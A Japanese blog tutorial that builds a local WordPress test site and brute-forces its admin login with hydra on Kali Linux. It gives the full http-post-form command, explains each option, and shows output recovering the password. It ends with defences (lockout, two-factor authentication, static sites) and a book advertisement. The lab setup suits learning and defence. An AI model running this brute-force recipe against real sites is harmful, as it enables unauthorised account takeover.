ハッキング:hydraでWordPress管理画面にブルートフォースアタック
注意:ハッキング行為をいかなる稼働環境・サービスに対しても行わないでください。成功しなくとも試みること自体が違法行為になります。
Prerequisite(前提)
・環境は手元のWindowsマシン上ですべて完結。
・Kali LinuxをVM Workstationにすでに構築済み(注:VMのNIC設定をブリッジにする)参考:Kali Linux 2020.3 install Windows 10 (for free)
テスト環境構築
テスト用WordPress仮想環境
Local by Flywheelを使ってテスト用WordPress環境を構築(詳細は「ローカル環境でWordPressを動かそう!」)
- Local by Flywheelのインストールファイルをhttps://localwp.com/ からダウンロード。
- local-5.9.9-windows.exe(Windowsの場合)を実行してインストール。
- インストールしたらLocal by Flywheelを立ち上げる。
適当なサイト名を入力してCONTINUE。ここではwptestとした。
WordPressの管理ユーザー名とパスワードを入力。Emailは使わないのでデフォルトのままでよい。管理ユーザー名はよく使われるadminとした。ADD SITEをクリック
5分~10分ほど待つと・・・
アドレスhttp://wptest.local/wp-login.php で開ける。
ログインしてみる。
管理画面にログインできた。
※ wptest.localというドメイン名は、Local by FlywheelがローカルWindowsマシンのhostsファイルを勝手にいじってレコードを追記してくれてるのでアクセス可能になっている。
### C:\windows\system32\drivers\etc\hosts
## Local by Flywheel - Start ##
::1 wptest.local #Local Site
127.0.0.1 wptest.local #Local Site ← これ
::1 www.wptest.local #Local Site
127.0.0.1 www.wptest.local #Local Site ← これ
## Local by Flywheel - End ##
Kali Linux側の設定
Kaliからテスト用WordPressにドメイン名でアクセスできるように/etc/hostsファイルをいじる。wptest.localドメイン名に対しホストであるWindowsマシンが持つIPアドレスをアサインすればよい。
ローカルWindowsマシンのIPアドレス
C:\Users\atyah>ipconfig
Windows IP 構成
Wireless LAN adapter Wi-Fi:
接続固有の DNS サフィックス . . . . .:
リンクローカル IPv6 アドレス. . . . .: fe80::f09d:ffff:1111:aaaaa
IPv4 アドレス . . . . . . . . . . . .: 192.168.0.70 ← これ
サブネット マスク . . . . . . . . . .: 255.255.255.0
デフォルト ゲートウェイ . . . . . . .: 192.168.0.1
sudo vim /etc/hosts
コマンドでhostsファイルに以下のようにエントリを追記。
// /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.0.70 wptest.local ← このエントリを追記
ちなみにKali側のIPアドレス、参考まで。
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ ip addr
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:00:11:ee:cc:a1 brd ff:ff:ff:ff:ff:ff
inet 192.168.0.136/24 brd 192.168.0.255 scope global dynamic
【確認作業】
そしたら、Kaliからテスト用WordPressにアクセスできるかKali上のFirefoxで確認(Pingは通らないので注意)
辞書ファイルを解凍、あるいは準備
Kaliには最初から辞書ファイルrockyou.txt.gzが/usr/share/wordlistsに配備されている。
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ ll
total 52108
lrwxrwxrwx 1 root root 25 Nov 17 07:24 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root 30 Nov 17 07:24 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root 41 Nov 17 07:24 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root 45 Nov 17 07:24 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root 46 Nov 17 07:24 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root 41 Nov 17 07:24 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r--r-- 1 root root 53357329 Jul 17 2019 rockyou.txt.gz
lrwxrwxrwx 1 root root 25 Nov 17 07:24 wfuzz -> /usr/share/wfuzz/wordlist
それを解凍する。
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ sudo gzip -d rockyou.txt.gz
rockyou.txtができた。140MBある大きなファイル。
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ ll
total 136648
lrwxrwxrwx 1 root root 25 Nov 17 07:24 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root 30 Nov 17 07:24 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root 41 Nov 17 07:24 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root 45 Nov 17 07:24 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root 46 Nov 17 07:24 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root 41 Nov 17 07:24 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r--r-- 1 root root 139921507 Jul 17 2019 rockyou.txt
lrwxrwxrwx 1 root root 25 Nov 17 07:24 wfuzz -> /usr/share/wfuzz/wordlist
あるいは別の辞書ファイルを用意する。日本語に特化した辞書ファイルがOpenwallに無造作に置かれていたのでそれを使用。
https://download.openwall.net/pub/wordlists/languages/
Kaliの/usr/share/wordlistsに落として解凍。
-rw-r--r-- 1 root root 922637 Feb 26 00:54 lower.txt
ブルートフォース実行
Kali Linuxにはすでにhydra(ハイドラ)がインストールされている。
コマンド準備
sudo hydra -l admin -P lower.txt wptest.local -V http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcoolie=1:F=Lost your password?"
オプション説明
-l : ユーザー名指定
-L : ユーザー名が特定できていないときにユーザー名辞書ファイルを指定
-P : パスワード辞書ファイルを指定
: ターゲットのホスト名指定。IPアドレスでも良い。ここではテスト用WordPressのドメイン名wptest.local
-V : POSTかGETか。POSTならhttp-post-form、GETならhttp-get-form。どちらかは後述
~以下タブルクオテーション内~
ログインページのパスを指定。ここではhttp://wptest.local/wp-login.php なので/wp-login.php
と指定。
:log= : ユーザー名を指定。^で囲んで^USER^
とすればソフトコード仕様になる。log=adminとすればハードコード。
&pwd= : パスワードを指定。^で囲んで^PASS^
とすればソフトコード仕様になる。
&wp-submit= :後述
&testcoolie= : 後述
:F= : エラーメッセージを指定。後述
【後述部分】
・Firefoxを立ち上げF12で開発者ツールを開く。
・テスト用WordPressの管理画面にアクセスしログインする。
・開発者ツールのネットワークタブで、ログインページであるwp-login.phpのログを見る。まずメソッドがPOSTになっているのでPOSTだとわかる。
・それを右クリックして「編集して再送信」をクリック。
・右ペインのリクエストボディ部分を見る。
・wp-submit= と testcookie= のパラメーターだけコピペする。それぞれLog+In
(たぶんLogIn
で良い)と1
・開発者ツールを閉じて、ログオフしてから今度はわざと間違ったパスワードでログイン失敗してみる。Lost your password?
というエラーメッセージがブラウザに表示される。
・それをコピペしてF=
のパラメーター値にする。たぶんincorrect
でもいけるかもしれない。
コマンド実行
──(kali㉿kali)-[/usr/share/wordlists]
└─$ sudo hydra -l admin -P lower.txt wptest.local -V http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcoolie=1:F=Lost your password?"
[sudo] password for kali:
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-02-26 03:03:21
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 113963 login tries (l:1/p:113963), ~7123 tries per task
[DATA] attacking http-post-form://wptest.local:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcoolie=1:F=Lost your password?
[ATTEMPT] target wptest.local - login "admin" - pass "aa" - 1 of 113963 [child 0] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "aaa" - 2 of 113963 [child 1] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "aaai" - 3 of 113963 [child 2] (0/0)
・・・・・省 略・・・・・
[ATTEMPT] target wptest.local - login "admin" - pass "abikomiw" - 71 of 113963 [child 13] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "abikorik" - 72 of 113963 [child 7] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "abikoshi" - 73 of 113963 [child 14] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "abikosi" - 74 of 113963 [child 9] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "abikyouk" - 75 of 113963 [child 11] (0/0)
[80][http-post-form] host: wptest.local login: admin password: abekobe
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-02-26 03:03:39
最後から3行目、
[80][http-post-form] host: wptest.local login: admin password: abekobe
パスワードabekobeがハックできた。
まとめ
・今回は“脆弱な”パスワードを試したが、“普通”以上のパスワードであっても強力な辞書ファイルがあれば突破できるだろう。
・ユーザー名も同じ。強力なユーザー辞書ファイルがあれば突破できるだろう。
・hydraの使い方は簡単なので、結局のところは辞書ファイルの優秀さとパスワードの複雑さのいたちごっことなる。
・Basic認証の導入はあまり意味なく、同じようにhydraで突破できてしまう。参考Brute Force password protected Wordpress 4.3.1 Login form with hydra.
・Basic認証で、$COUNT
を.htaccessに設定して$COUNT回失敗したらアクセス拒否するようにすることは有効。しかし当然のことながらユーザー(運営管理者であるお客様など)へのサポートがキツくなる(「パスワード何度も間違えちゃった、ロック解除して~」という問い合わせなど)。
・確実な手は2段階認証の導入。しかしプラグイン導入に伴う不具合リスクがあるし、お客様が忌避しがちなセキュリティ対応コストとなる。
・管理コンソールのURL変更も有効。しかしプラグイン導入に伴う不具合リスクがあるし、お客様が忌避しがちなセキュリティ対応コストとなる。
パスワードハック以外にもWordPressの脆弱性アタック方法は多く公開されていて丁寧にやり方が解説されている(英語やロシア語情報になるが)。
したがって、サーバーインスタンスを立てること自体がリスキー。結論としては、静的サイトジェネレーターとヘッドレスCMSの組み合わせがやはり比較的安全、長期的に見て低コストであろう。
本の宣伝
Gatsbyバージョン5>>>>改訂2版
前編の『Gatsby5前編ー最新Gatsbyでつくるコーポレートサイト』と後編の『Gatsby5後編ー最新GatsbyとmicroCMSでつくるコーポレートサイト《サイト内検索機能付き》』を合わせ、次のようなデモサイトを構築します。
→ https://yah-space.work
静的サイトジェネレーターGatsby最新バージョン5の基本とFile System Route APIを使用して動的にページを生成する方法を解説。またバージョン5の新機能《Slicy API》《Script API》《Head API》を紹介、実装方法も。《Gatsby Functions》での問い合わせフォーム実装やGatsby Cloudへのアップロード方法も!
Gatsby5前編ー最新Gatsbyでつくるコーポレートサイト ~基礎の基礎から応用、新機能の導入まで(書籍2,980円)
最新Gatsby5とmicroCMSを組み合わせてのコーポレートサイト作成手順を解説。《サイト内検索機能》をGatsbyバージョン4からの新機能《Gatsby Functions》と《microCMSのqパラメータ》で実装。また、SEOコンポーネントをカスタマイズしてmicroCMS APIをツイッターカードに表示させるOGPタグ実装方法も解説。
Gatsby5後編ー最新GatsbyとmicroCMSでつくるコーポレートサイト《サイト内検索機能付き》(書籍 2,790円)